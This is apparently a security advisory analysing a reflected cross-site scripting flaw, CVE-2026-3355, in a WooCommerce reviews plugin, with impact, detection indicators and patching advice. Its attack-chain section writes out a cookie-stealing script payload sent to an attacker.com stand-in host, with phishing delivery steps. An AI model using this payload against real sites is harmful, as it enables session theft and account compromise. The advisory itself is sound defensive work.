CVE-2026-3355: 
WordPress vulnerability analysis and mitigation

CVE-2026-3355 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Customer Reviews for WooCommerce plugin for WordPress, affecting all versions up to and including 5.101.0. The flaw exists in the crsearch parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts that execute in a victim's browser when they click a crafted link. It was published on April 16, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The crsearch parameter, used in the plugin's customer review search functionality, fails to properly sanitize user-supplied input before rendering it in the page output, enabling script injection via a reflected attack vector. Exploitation requires no authentication or special privileges, but does require user interaction — specifically, a victim must click a maliciously crafted URL containing the injected payload. The patch was applied in changeset 3472287 of the plugin's SVN repository (GitHub Advisory, WordPress SVN).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can result in theft of session cookies, credential harvesting, redirection to malicious sites, malware distribution, or partial defacement of the site as seen by the victim. Because the scope is changed (S:C in CVSS), the injected script can affect resources beyond the vulnerable component itself, though availability is not directly impacted (GitHub Advisory, Wordfence).

No public proof-of-concept exploit code has been observed, and there is no evidence of active in-the-wild exploitation as of the time of disclosure (Wordfence). The EPSS score is approximately 0.018–0.028%, placing it in a low-probability exploitation tier (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify WordPress sites running the Customer Reviews for WooCommerce plugin at version 5.101.0 or earlier using tools like WPScan, Shodan, or manual inspection of plugin version files.
2. Craft malicious URL: Construct a URL targeting the vulnerable search endpoint that includes a malicious payload in the crsearch parameter, e.g., https://target-site.com/?crsearch=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Encode the payload: URL-encode the payload as needed to bypass basic client-side filters and ensure the link appears less suspicious.
4. Social engineering delivery: Deliver the crafted link to a target user (e.g., a logged-in WordPress administrator or shop customer) via phishing email, forum post, or direct message, enticing them to click it.
5. Script execution: When the victim clicks the link, the WordPress page renders the unsanitized crsearch value, causing the injected JavaScript to execute in the victim's browser, potentially exfiltrating session cookies or performing actions on behalf of the victim (GitHub Advisory, Wordfence).

• Network: HTTP GET or POST requests to WordPress pages containing the crsearch parameter with encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, javascript:) in the query string; outbound requests from victim browsers to unknown external domains shortly after visiting a WordPress page.
• Logs: Web server access logs showing requests with suspicious values in the crsearch parameter, such as URL-encoded <script> tags or HTML event attributes; referrer headers pointing to external phishing pages.
• File System: No direct file system artifacts are expected for reflected XSS, as the attack is transient and does not persist server-side.
• Browser/Session: Unexpected session termination or re-authentication prompts for WordPress users; browser developer tools showing unexpected outbound XHR or fetch requests to attacker-controlled domains after visiting a WooCommerce review search page.

Update the Customer Reviews for WooCommerce plugin to a version beyond 5.101.0, which includes the fix applied in SVN changeset 3472287 (WordPress SVN). If immediate patching is not feasible, consider temporarily disabling the plugin to eliminate the attack surface. As an additional layer of defense, deploy a Web Application Firewall (WAF) with rules to filter malicious input in the crsearch parameter, and train users to avoid clicking unsolicited or suspicious links (Wordfence).

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for April 13–19, 2026, and Sucuri referenced it in their April 2026 vulnerability patch roundup (Wordfence Blog, Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been observed.